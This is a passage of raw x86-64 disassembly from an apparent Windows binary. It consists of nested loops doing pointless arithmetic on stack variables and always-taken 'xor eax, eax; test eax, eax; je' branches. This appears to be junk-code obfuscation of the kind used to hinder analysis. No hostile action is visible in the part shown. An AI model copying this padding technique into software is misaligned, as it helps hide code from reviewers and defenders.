idiv ecx
mov dword [rsp + 0xee4], eax
mov dword [rsp + 0x934], 0
jmp 0x14018ac06
mov eax, dword [rsp + 0x934]
inc eax
mov dword [rsp + 0x934], eax
cmp dword [rsp + 0x934], 8
jge 0x14018ae36
mov eax, dword [rsp + 0x934]
add eax, 6
mov dword [rsp + 0x580], eax
mov eax, dword [rsp + 0x580]
add eax, 5
mov dword [rsp + 0x580], eax
cmp dword [rsp + 0x580], 0x12
jne 0x14018ae23
mov dword [rsp + 0x570], 0x2a
mov eax, dword [rsp + 0x570]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018ac74
mov eax, dword [rsp + 0x570]
shl eax, 1
mov dword [rsp + 0x570], eax
jmp 0x14018ac85
mov eax, dword [rsp + 0x570]
add eax, 3
mov dword [rsp + 0x570], eax
mov eax, dword [rsp + 0x580]
imul eax, dword [rsp + 0x588]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12d0], eax
mov dword [rsp + 0xed8], 0
jmp 0x14018acc0
mov eax, dword [rsp + 0xed8]
inc eax
mov dword [rsp + 0xed8], eax
cmp dword [rsp + 0xed8], 5
jge 0x14018ae23
mov dword [rsp + 0xedc], 0x4d
mov dword [rsp + 0x938], 0
jmp 0x14018acf6
mov eax, dword [rsp + 0x938]
inc eax
mov dword [rsp + 0x938], eax
cmp dword [rsp + 0x938], 6
jge 0x14018ada2
mov eax, dword [rsp + 0x938]
add eax, 3
mov dword [rsp + 0x578], eax
mov eax, dword [rsp + 0x578]
add eax, 2
mov dword [rsp + 0x578], eax
cmp dword [rsp + 0x578], 0xb
jne 0x14018ad8f
mov dword [rsp + 0x574], 0x2a
mov eax, dword [rsp + 0x574]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018ad60
mov eax, dword [rsp + 0x574]
shl eax, 1
mov dword [rsp + 0x574], eax
jmp 0x14018ad71
mov eax, dword [rsp + 0x574]
add eax, 3
mov dword [rsp + 0x574], eax
mov eax, dword [rsp + 0x578]
imul eax, dword [rsp + 0xedc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12d4], eax
cmp dword [rsp + 0x578], 0x12
jl 0x14018ad15
jmp 0x14018ace6
cmp dword [rsp + 0xedc], 0x23
jle 0x14018ae1e
mov eax, dword [rsp + 0xedc]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xee0], eax
mov dword [rsp + 0x57c], 0x2a
mov eax, dword [rsp + 0x57c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018adf2
mov eax, dword [rsp + 0x57c]
shl eax, 1
mov dword [rsp + 0x57c], eax
jmp 0x14018ae03
mov eax, dword [rsp + 0x57c]
add eax, 3
mov dword [rsp + 0x57c], eax
mov eax, dword [rsp + 0xee0]
sub eax, 4
mov dword [rsp + 0xee0], eax
cmp dword [rsp + 0xee0], 0
jg 0x14018adc2
jmp 0x14018acb0
cmp dword [rsp + 0x580], 0x1e
jl 0x14018ac25
jmp 0x14018abf6
mov eax, dword [rsp + 0xee4]
sub eax, 4
mov dword [rsp + 0xee4], eax
cmp dword [rsp + 0xee4], 0
jg 0x14018abe9
mov dword [rsp + 0x93c], 0
jmp 0x14018ae72
mov eax, dword [rsp + 0x93c]
inc eax
mov dword [rsp + 0x93c], eax
cmp dword [rsp + 0x93c], 8
jge 0x14018b0a2
mov eax, dword [rsp + 0x93c]
add eax, 6
mov dword [rsp + 0x598], eax
mov eax, dword [rsp + 0x598]
add eax, 5
mov dword [rsp + 0x598], eax
cmp dword [rsp + 0x598], 0x12
jne 0x14018b08f
mov dword [rsp + 0x584], 0x2a
mov eax, dword [rsp + 0x584]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018aee0
mov eax, dword [rsp + 0x584]
shl eax, 1
mov dword [rsp + 0x584], eax
jmp 0x14018aef1
mov eax, dword [rsp + 0x584]
add eax, 3
mov dword [rsp + 0x584], eax
mov eax, dword [rsp + 0x598]
imul eax, dword [rsp + 0x588]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12d8], eax
mov dword [rsp + 0xee8], 0
jmp 0x14018af2c
mov eax, dword [rsp + 0xee8]
inc eax
mov dword [rsp + 0xee8], eax
cmp dword [rsp + 0xee8], 5
jge 0x14018b08f
mov dword [rsp + 0xeec], 0x4d
mov dword [rsp + 0x940], 0
jmp 0x14018af62
mov eax, dword [rsp + 0x940]
inc eax
mov dword [rsp + 0x940], eax
cmp dword [rsp + 0x940], 6
jge 0x14018b00e
mov eax, dword [rsp + 0x940]
add eax, 3
mov dword [rsp + 0x590], eax
mov eax, dword [rsp + 0x590]
add eax, 2
mov dword [rsp + 0x590], eax
cmp dword [rsp + 0x590], 0xb
jne 0x14018affb
mov dword [rsp + 0x58c], 0x2a
mov eax, dword [rsp + 0x58c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018afcc
mov eax, dword [rsp + 0x58c]
shl eax, 1
mov dword [rsp + 0x58c], eax
jmp 0x14018afdd
mov eax, dword [rsp + 0x58c]
add eax, 3
mov dword [rsp + 0x58c], eax
mov eax, dword [rsp + 0x590]
imul eax, dword [rsp + 0xeec]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12dc], eax
cmp dword [rsp + 0x590], 0x12
jl 0x14018af81
jmp 0x14018af52
cmp dword [rsp + 0xeec], 0x23
jle 0x14018b08a
mov eax, dword [rsp + 0xeec]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xef0], eax
mov dword [rsp + 0x594], 0x2a
mov eax, dword [rsp + 0x594]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018b05e
mov eax, dword [rsp + 0x594]
shl eax, 1
mov dword [rsp + 0x594], eax
jmp 0x14018b06f
mov eax, dword [rsp + 0x594]
add eax, 3
mov dword [rsp + 0x594], eax
mov eax, dword [rsp + 0xef0]
sub eax, 4
mov dword [rsp + 0xef0], eax
cmp dword [rsp + 0xef0], 0
jg 0x14018b02e
jmp 0x14018af1c
cmp dword [rsp + 0x598], 0x1e
jl 0x14018ae91
jmp 0x14018ae62
jmp 0x14018a94f
jmp 0x14018b2af
mov dword [rsp + 0xef4], 0
jmp 0x14018b0c9
mov eax, dword [rsp + 0xef4]
inc eax
mov dword [rsp + 0xef4], eax
cmp dword [rsp + 0xef4], 5
jge 0x14018b2af
mov dword [rsp + 0xef8], 0x59
mov dword [rsp + 0x944], 0
jmp 0x14018b0ff
mov eax, dword [rsp + 0x944]
inc eax
mov dword [rsp + 0x944], eax
cmp dword [rsp + 0x944], 7
jge 0x14018b1ed
mov eax, dword [rsp + 0x944]
add eax, 4
mov dword [rsp + 0x5a4], eax
mov eax, dword [rsp + 0x5a4]
add eax, 3
mov dword [rsp + 0x5a4], eax
cmp dword [rsp + 0x5a4], 0xe
jne 0x14018b1da
mov dword [rsp + 0x59c], 0x2a
mov eax, dword [rsp + 0x59c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018b16d
mov eax, dword [rsp + 0x59c]
shl eax, 1
mov dword [rsp + 0x59c], eax
jmp 0x14018b17e
mov eax, dword [rsp + 0x59c]
add eax, 3
mov dword [rsp + 0x59c], eax
mov eax, dword [rsp + 0x5a4]
imul eax, dword [rsp + 0xef8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12e0], eax
mov dword [rsp + 0x5a0], 0x2a
mov eax, dword [rsp + 0x5a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018b1c9
mov eax, dword [rsp + 0x5a0]
shl eax, 1
mov dword [rsp + 0x5a0], eax
jmp 0x14018b1da
mov eax, dword [rsp + 0x5a0]
add eax, 3
mov dword [rsp + 0x5a0], eax
cmp dword [rsp + 0x5a4], 0x19
jl 0x14018b11e
jmp 0x14018b0ef
cmp dword [rsp + 0xef8], 0x28
jle 0x14018b269
mov eax, dword [rsp + 0xef8]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xefc], eax
mov dword [rsp + 0x5a8], 0x2a
mov eax, dword [rsp + 0x5a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018b23d
mov eax, dword [rsp + 0x5a8]
shl eax, 1
mov dword [rsp + 0x5a8], eax
jmp 0x14018b24e
mov eax, dword [rsp + 0x5a8]
add eax, 3
mov dword [rsp + 0x5a8], eax
mov eax, dword [rsp + 0xefc]
sub eax, 3
mov dword [rsp + 0xefc], eax
cmp dword [rsp + 0xefc], 0
jg 0x14018b20d
mov dword [rsp + 0x5ac], 0x2a
mov eax, dword [rsp + 0x5ac]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018b299
mov eax, dword [rsp + 0x5ac]
shl eax, 1
mov dword [rsp + 0x5ac], eax
jmp 0x14018b2aa
mov eax, dword [rsp + 0x5ac]
add eax, 3
mov dword [rsp + 0x5ac], eax
jmp 0x14018b0b9
xor eax, eax
test eax, eax
je 0x14018c04b
xor eax, eax
test eax, eax
je 0x14018b9c5
mov dword [rsp + 0xf00], 0
jmp 0x14018b2e0
mov eax, dword [rsp + 0xf00]
inc eax
mov dword [rsp + 0xf00], eax
cmp dword [rsp + 0xf00], 5
jge 0x14018b9c0
mov dword [rsp + 0xf1c], 0x3f
mov dword [rsp + 0x948], 0
jmp 0x14018b316
mov eax, dword [rsp + 0x948]
inc eax
mov dword [rsp + 0x948], eax
cmp dword [rsp + 0x948], 6
jge 0x14018b696
mov eax, dword [rsp + 0x948]
add eax, 5
mov dword [rsp + 0x5b8], eax
mov eax, dword [rsp + 0x5b8]
add eax, 4
mov dword [rsp + 0x5b8], eax
cmp dword [rsp + 0x5b8], 0x11
jne 0x14018b683
mov dword [rsp + 0xf04], 0
jmp 0x14018b371
mov eax, dword [rsp + 0xf04]
inc eax
mov dword [rsp + 0xf04], eax
cmp dword [rsp + 0xf04], 5
jge 0x14018b4dc
mov dword [rsp + 0xf08], 0x2a
mov dword [rsp + 0x94c], 0
jmp 0x14018b3a7
mov eax, dword [rsp + 0x94c]
inc eax
mov dword [rsp + 0x94c], eax
cmp dword [rsp + 0x94c], 4
jge 0x14018b456
mov eax, dword [rsp + 0x94c]
add eax, 2
mov dword [rsp + 0x5b0], eax
mov eax, dword [rsp + 0x5b0]
inc eax
mov dword [rsp + 0x5b0], eax
cmp dword [rsp + 0x5b0], 7
jne 0x14018b443
mov dword [rsp + 0x138], Ordinal_79
cmp dword [rsp + 0x138], 0
jle 0x14018b425
mov eax, dword [rsp + 0x138]
sub eax, 5
mov dword [rsp + 0x138], eax
cmp dword [rsp + 0x138], 0xa
jne 0x14018b423
mov eax, dword [rsp + 0x138]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x138], eax
jmp 0x14018b3eb
mov eax, dword [rsp + 0x5b0]
imul eax, dword [rsp + 0xf08]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12e4], eax
cmp dword [rsp + 0x5b0], 0xb
jl 0x14018b3c6
jmp 0x14018b397
cmp dword [rsp + 0xf08], 0x14
jle 0x14018b4d7
mov eax, dword [rsp + 0xf08]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf0c], eax
mov dword [rsp + 0x13c], Ordinal_79
cmp dword [rsp + 0x13c], 0
jle 0x14018b4bc
mov eax, dword [rsp + 0x13c]
sub eax, 5
mov dword [rsp + 0x13c], eax
cmp dword [rsp + 0x13c], 0xa
jne 0x14018b4ba
mov eax, dword [rsp + 0x13c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x13c], eax
jmp 0x14018b482
mov eax, dword [rsp + 0xf0c]
sub eax, 2
mov dword [rsp + 0xf0c], eax
cmp dword [rsp + 0xf0c], 0
jg 0x14018b477
jmp 0x14018b361
mov eax, dword [rsp + 0x5b8]
imul eax, dword [rsp + 0xf1c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x12e8], eax
mov dword [rsp + 0xf10], 0
jmp 0x14018b518
mov eax, dword [rsp + 0xf10]
inc eax
mov dword [rsp + 0xf10], eax
cmp dword [rsp + 0xf10], 5
jge 0x14018b683
mov dword [rsp + 0xf14], 0x2a
mov dword [rsp + 0x950], 0
jmp 0x14018b54e
mov eax, dword [rsp + 0x950]
inc eax
mov dword [rsp + 0x950], eax
cmp dword [rsp + 0x950], 4
jge 0x14018b5fd
mov eax, dword [rsp + 0x950]
add eax, 2
mov dword [rsp + 0x5b4], eax
mov eax, dword [rsp + 0x5b4]
inc eax
mov dword [rsp + 0x5b4], eax
cmp dword [rsp + 0x5b4], 7
jne 0x14018b5ea
mov dword [rsp + 0x140], Ordinal_79
cmp dword [rsp + 0x140], 0
jle 0x14018b5cc
mov eax, dword [rsp + 0x140]
sub eax, 5
mov dword [rsp + 0x140], eax
cmp dword [rsp + 0x140], 0xa
jne 0x14018b5ca
mov eax, dword [rsp + 0x140]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x140], eax
jmp 0x14018b592
mov eax, dword [rsp + 0x5b4]
imul eax, dword [rsp + 0xf14]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12ec], eax
cmp dword [rsp + 0x5b4], 0xb
jl 0x14018b56d
jmp 0x14018b53e
cmp dword [rsp + 0xf14], 0x14
jle 0x14018b67e
mov eax, dword [rsp + 0xf14]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf18], eax
mov dword [rsp + 0x144], Ordinal_79
cmp dword [rsp + 0x144], 0
jle 0x14018b663
mov eax, dword [rsp + 0x144]
sub eax, 5
mov dword [rsp + 0x144], eax
cmp dword [rsp + 0x144], 0xa
jne 0x14018b661
mov eax, dword [rsp + 0x144]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x144], eax
jmp 0x14018b629
mov eax, dword [rsp + 0xf18]
sub eax, 2
mov dword [rsp + 0xf18], eax
cmp dword [rsp + 0xf18], 0
jg 0x14018b61e
jmp 0x14018b508
cmp dword [rsp + 0x5b8], 0x1c
jl 0x14018b335
jmp 0x14018b306
cmp dword [rsp + 0xf1c], 0x1e
jle 0x14018b861
mov eax, dword [rsp + 0xf1c]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0xf2c], eax
mov dword [rsp + 0xf20], 0
jmp 0x14018b6d7
mov eax, dword [rsp + 0xf20]
inc eax
mov dword [rsp + 0xf20], eax
cmp dword [rsp + 0xf20], 5
jge 0x14018b842
mov dword [rsp + 0xf24], 0x2a
mov dword [rsp + 0x954], 0
jmp 0x14018b70d
mov eax, dword [rsp + 0x954]
inc eax
mov dword [rsp + 0x954], eax
cmp dword [rsp + 0x954], 4
jge 0x14018b7bc
mov eax, dword [rsp + 0x954]
add eax, 2
mov dword [rsp + 0x5bc], eax
mov eax, dword [rsp + 0x5bc]
inc eax
mov dword [rsp + 0x5bc], eax
cmp dword [rsp + 0x5bc], 7
jne 0x14018b7a9
mov dword [rsp + 0x148], Ordinal_79
cmp dword [rsp + 0x148], 0
jle 0x14018b78b
mov eax, dword [rsp + 0x148]
sub eax, 5
mov dword [rsp + 0x148], eax
cmp dword [rsp + 0x148], 0xa
jne 0x14018b789
mov eax, dword [rsp + 0x148]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x148], eax
jmp 0x14018b751
mov eax, dword [rsp + 0x5bc]
imul eax, dword [rsp + 0xf24]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12f0], eax
cmp dword [rsp + 0x5bc], 0xb
jl 0x14018b72c
jmp 0x14018b6fd
cmp dword [rsp + 0xf24], 0x14
jle 0x14018b83d
mov eax, dword [rsp + 0xf24]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf28], eax
mov dword [rsp + 0x14c], Ordinal_79
cmp dword [rsp + 0x14c], 0
jle 0x14018b822
mov eax, dword [rsp + 0x14c]
sub eax, 5
mov dword [rsp + 0x14c], eax
cmp dword [rsp + 0x14c], 0xa
jne 0x14018b820
mov eax, dword [rsp + 0x14c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x14c], eax
jmp 0x14018b7e8
mov eax, dword [rsp + 0xf28]
sub eax, 2
mov dword [rsp + 0xf28], eax
cmp dword [rsp + 0xf28], 0
jg 0x14018b7dd
jmp 0x14018b6c7
mov eax, dword [rsp + 0xf2c]
sub eax, 2
mov dword [rsp + 0xf2c], eax
cmp dword [rsp + 0xf2c], 0
jg 0x14018b6ba
mov dword [rsp + 0xf30], 0
jmp 0x14018b87e
mov eax, dword [rsp + 0xf30]
inc eax
mov dword [rsp + 0xf30], eax
cmp dword [rsp + 0xf30], 5
jge 0x14018b9bb
mov dword [rsp + 0xf34], 0x2a
mov dword [rsp + 0x958], 0
jmp 0x14018b8b4
mov eax, dword [rsp + 0x958]
inc eax
mov dword [rsp + 0x958], eax
cmp dword [rsp + 0x958], 4
jge 0x14018b94a
mov eax, dword [rsp + 0x958]
add eax, 2
mov dword [rsp + 0x5c0], eax
mov eax, dword [rsp + 0x5c0]
inc eax
mov dword [rsp + 0x5c0], eax
cmp dword [rsp + 0x5c0], 7
jne 0x14018b93b
mov dword [rsp + 0x34], Ordinal_79
cmp dword [rsp + 0x34], 0
jle 0x14018b91d
mov eax, dword [rsp + 0x34]
sub eax, 5
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0xa
jne 0x14018b91b
mov eax, dword [rsp + 0x34]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x34], eax
jmp 0x14018b8f5
mov eax, dword [rsp + 0x5c0]
imul eax, dword [rsp + 0xf34]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12f4], eax
cmp dword [rsp + 0x5c0], 0xb
jl 0x14018b8d3
jmp 0x14018b8a4
cmp dword [rsp + 0xf34], 0x14
jle 0x14018b9b6
mov eax, dword [rsp + 0xf34]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf38], eax
mov dword [rsp + 0x38], Ordinal_79
cmp dword [rsp + 0x38], 0
jle 0x14018b99b
mov eax, dword [rsp + 0x38]
sub eax, 5
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xa
jne 0x14018b999
mov eax, dword [rsp + 0x38]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x38], eax
jmp 0x14018b973
mov eax, dword [rsp + 0xf38]
sub eax, 2
mov dword [rsp + 0xf38], eax
cmp dword [rsp + 0xf38], 0
jg 0x14018b96b
jmp 0x14018b86e
jmp 0x14018b2d0
jmp 0x14018c04b
mov dword [rsp + 0xf3c], 0
jmp 0x14018b9e2
mov eax, dword [rsp + 0xf3c]
inc eax
mov dword [rsp + 0xf3c], eax
cmp dword [rsp + 0xf3c], 5
jge 0x14018c04b
mov dword [rsp + 0xf58], 0x34
mov dword [rsp + 0x95c], 0
jmp 0x14018ba18
mov eax, dword [rsp + 0x95c]
inc eax
mov dword [rsp + 0x95c], eax
cmp dword [rsp + 0x95c], 7
jge 0x14018bd3b
mov eax, dword [rsp + 0x95c]
add eax, 4
mov dword [rsp + 0x5cc], eax
mov eax, dword [rsp + 0x5cc]
add eax, 3
mov dword [rsp + 0x5cc], eax
cmp dword [rsp + 0x5cc], 0x10
jne 0x14018bd28
mov dword [rsp + 0xf40], 0
jmp 0x14018ba73
mov eax, dword [rsp + 0xf40]
inc eax
mov dword [rsp + 0xf40], eax
cmp dword [rsp + 0xf40], 5
jge 0x14018bbb0
mov dword [rsp + 0xf44], 0x2a
mov dword [rsp + 0x960], 0
jmp 0x14018baa9
mov eax, dword [rsp + 0x960]
inc eax
mov dword [rsp + 0x960], eax
cmp dword [rsp + 0x960], 4
jge 0x14018bb3f
mov eax, dword [rsp + 0x960]
add eax, 2
mov dword [rsp + 0x5c4], eax
mov eax, dword [rsp + 0x5c4]
inc eax
mov dword [rsp + 0x5c4], eax
cmp dword [rsp + 0x5c4], 7
jne 0x14018bb30
mov dword [rsp + 0x3c], Ordinal_79
cmp dword [rsp + 0x3c], 0
jle 0x14018bb12
mov eax, dword [rsp + 0x3c]
sub eax, 5
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0xa
jne 0x14018bb10
mov eax, dword [rsp + 0x3c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x3c], eax
jmp 0x14018baea
mov eax, dword [rsp + 0x5c4]
imul eax, dword [rsp + 0xf44]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12f8], eax
cmp dword [rsp + 0x5c4], 0xb
jl 0x14018bac8
jmp 0x14018ba99
cmp dword [rsp + 0xf44], 0x14
jle 0x14018bbab
mov eax, dword [rsp + 0xf44]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf48], eax
mov dword [rsp + 0x40], Ordinal_79
cmp dword [rsp + 0x40], 0
jle 0x14018bb90
mov eax, dword [rsp + 0x40]
sub eax, 5
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xa
jne 0x14018bb8e
mov eax, dword [rsp + 0x40]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x40], eax
jmp 0x14018bb68
mov eax, dword [rsp + 0xf48]
sub eax, 2
mov dword [rsp + 0xf48], eax
cmp dword [rsp + 0xf48], 0
jg 0x14018bb60
jmp 0x14018ba63
mov eax, dword [rsp + 0x5cc]
imul eax, dword [rsp + 0xf58]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x12fc], eax
mov dword [rsp + 0xf4c], 0
jmp 0x14018bbeb
mov eax, dword [rsp + 0xf4c]
inc eax
mov dword [rsp + 0xf4c], eax
cmp dword [rsp + 0xf4c], 5
jge 0x14018bd28
mov dword [rsp + 0xf50], 0x2a
mov dword [rsp + 0x964], 0
jmp 0x14018bc21
mov eax, dword [rsp + 0x964]
inc eax
mov dword [rsp + 0x964], eax
cmp dword [rsp + 0x964], 4
jge 0x14018bcb7
mov eax, dword [rsp + 0x964]
add eax, 2
mov dword [rsp + 0x5c8], eax
mov eax, dword [rsp + 0x5c8]
inc eax
mov dword [rsp + 0x5c8], eax
cmp dword [rsp + 0x5c8], 7
jne 0x14018bca8
mov dword [rsp + 0x44], Ordinal_79
cmp dword [rsp + 0x44], 0
jle 0x14018bc8a
mov eax, dword [rsp + 0x44]
sub eax, 5
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xa
jne 0x14018bc88
mov eax, dword [rsp + 0x44]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x44], eax
jmp 0x14018bc62
mov eax, dword [rsp + 0x5c8]
imul eax, dword [rsp + 0xf50]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1300], eax
cmp dword [rsp + 0x5c8], 0xb
jl 0x14018bc40
jmp 0x14018bc11
cmp dword [rsp + 0xf50], 0x14
jle 0x14018bd23
mov eax, dword [rsp + 0xf50]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf54], eax
mov dword [rsp + 0x48], Ordinal_79
cmp dword [rsp + 0x48], 0
jle 0x14018bd08
mov eax, dword [rsp + 0x48]
sub eax, 5
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xa
jne 0x14018bd06
mov eax, dword [rsp + 0x48]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x48], eax
jmp 0x14018bce0
mov eax, dword [rsp + 0xf54]
sub eax, 2
mov dword [rsp + 0xf54], eax
cmp dword [rsp + 0xf54], 0
jg 0x14018bcd8
jmp 0x14018bbdb
cmp dword [rsp + 0x5cc], 0x1b
jl 0x14018ba37
jmp 0x14018ba08
cmp dword [rsp + 0xf58], 0x19
jle 0x14018bed7
mov eax, dword [rsp + 0xf58]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xf68], eax
mov dword [rsp + 0xf5c], 0
jmp 0x14018bd7c
mov eax, dword [rsp + 0xf5c]
inc eax
mov dword [rsp + 0xf5c], eax
cmp dword [rsp + 0xf5c], 5
jge 0x14018beb9
mov dword [rsp + 0xf60], 0x2a
mov dword [rsp + 0x968], 0
jmp 0x14018bdb2
mov eax, dword [rsp + 0x968]
inc eax
mov dword [rsp + 0x968], eax
cmp dword [rsp + 0x968], 4
jge 0x14018be48
mov eax, dword [rsp + 0x968]
add eax, 2
mov dword [rsp + 0x5d0], eax
mov eax, dword [rsp + 0x5d0]
inc eax
mov dword [rsp + 0x5d0], eax
cmp dword [rsp + 0x5d0], 7
jne 0x14018be39
mov dword [rsp + 0x4c], Ordinal_79
cmp dword [rsp + 0x4c], 0
jle 0x14018be1b
mov eax, dword [rsp + 0x4c]
sub eax, 5
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0xa
jne 0x14018be19
mov eax, dword [rsp + 0x4c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x4c], eax
jmp 0x14018bdf3
mov eax, dword [rsp + 0x5d0]
imul eax, dword [rsp + 0xf60]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1304], eax
cmp dword [rsp + 0x5d0], 0xb
jl 0x14018bdd1
jmp 0x14018bda2
cmp dword [rsp + 0xf60], 0x14
jle 0x14018beb4
mov eax, dword [rsp + 0xf60]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf64], eax
mov dword [rsp + 0x50], Ordinal_79
cmp dword [rsp + 0x50], 0
jle 0x14018be99
mov eax, dword [rsp + 0x50]
sub eax, 5
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xa
jne 0x14018be97
mov eax, dword [rsp + 0x50]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x50], eax
jmp 0x14018be71
mov eax, dword [rsp + 0xf64]
sub eax, 2
mov dword [rsp + 0xf64], eax
cmp dword [rsp + 0xf64], 0
jg 0x14018be69
jmp 0x14018bd6c
mov eax, dword [rsp + 0xf68]
dec eax
mov dword [rsp + 0xf68], eax
cmp dword [rsp + 0xf68], 0
jg 0x14018bd5f
mov dword [rsp + 0xf6c], 0
jmp 0x14018bef4
mov eax, dword [rsp + 0xf6c]
inc eax
mov dword [rsp + 0xf6c], eax
cmp dword [rsp + 0xf6c], 5
jge 0x14018c046
mov dword [rsp + 0xf70], 0x2a
mov dword [rsp + 0x96c], 0
jmp 0x14018bf2a
mov eax, dword [rsp + 0x96c]
inc eax
mov dword [rsp + 0x96c], eax
cmp dword [rsp + 0x96c], 4
jge 0x14018bfc0
mov eax, dword [rsp + 0x96c]
add eax, 2
mov dword [rsp + 0x5d4], eax
mov eax, dword [rsp + 0x5d4]
inc eax
mov dword [rsp + 0x5d4], eax
cmp dword [rsp + 0x5d4], 7
jne 0x14018bfb1
mov dword [rsp + 0x54], Ordinal_79
cmp dword [rsp + 0x54], 0
jle 0x14018bf93
mov eax, dword [rsp + 0x54]
sub eax, 5
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0xa
jne 0x14018bf91
mov eax, dword [rsp + 0x54]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x54], eax
jmp 0x14018bf6b
mov eax, dword [rsp + 0x5d4]
imul eax, dword [rsp + 0xf70]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1308], eax
cmp dword [rsp + 0x5d4], 0xb
jl 0x14018bf49
jmp 0x14018bf1a
cmp dword [rsp + 0xf70], 0x14
jle 0x14018c041
mov eax, dword [rsp + 0xf70]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf74], eax
mov dword [rsp + 0xf8], Ordinal_79
cmp dword [rsp + 0xf8], 0
jle 0x14018c026
mov eax, dword [rsp + 0xf8]
sub eax, 5
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0xa
jne 0x14018c024
mov eax, dword [rsp + 0xf8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xf8], eax
jmp 0x14018bfec
mov eax, dword [rsp + 0xf74]
sub eax, 2
mov dword [rsp + 0xf74], eax
cmp dword [rsp + 0xf74], 0
jg 0x14018bfe1
jmp 0x14018bee4
jmp 0x14018b9d2
xor eax, eax
test eax, eax
je 0x14018d1a7
xor eax, eax
test eax, eax
je 0x14018c903
mov dword [rsp + 0xf78], 0
jmp 0x14018c07c
mov eax, dword [rsp + 0xf78]
inc eax
mov dword [rsp + 0xf78], eax
cmp dword [rsp + 0xf78], 5
jge 0x14018c8fe
mov dword [rsp + 0xf94], 0x3f
mov dword [rsp + 0x970], 0
jmp 0x14018c0b2
mov eax, dword [rsp + 0x970]
inc eax
mov dword [rsp + 0x970], eax
cmp dword [rsp + 0x970], 9
jge 0x14018c4ea
mov eax, dword [rsp + 0x970]
add eax, 7
mov dword [rsp + 0x5f0], eax
mov eax, dword [rsp + 0x5f0]
add eax, 4
mov dword [rsp + 0x5f0], eax
cmp dword [rsp + 0x5f0], 0x15
jne 0x14018c4d7
mov dword [rsp + 0xf7c], 0
jmp 0x14018c10d
mov eax, dword [rsp + 0xf7c]
inc eax
mov dword [rsp + 0xf7c], eax
cmp dword [rsp + 0xf7c], 5
jge 0x14018c2d6
mov dword [rsp + 0xf80], 0x11
mov dword [rsp + 0x974], 0
jmp 0x14018c143
mov eax, dword [rsp + 0x974]
inc eax
mov dword [rsp + 0x974], eax
cmp dword [rsp + 0x974], 3
jge 0x14018c21e
mov eax, dword [rsp + 0x974]
inc eax
mov dword [rsp + 0x5dc], eax
mov eax, dword [rsp + 0x5dc]
inc eax
mov dword [rsp + 0x5dc], eax
cmp dword [rsp + 0x5dc], 4
jne 0x14018c20b
mov dword [rsp + 0x5d8], 0xd
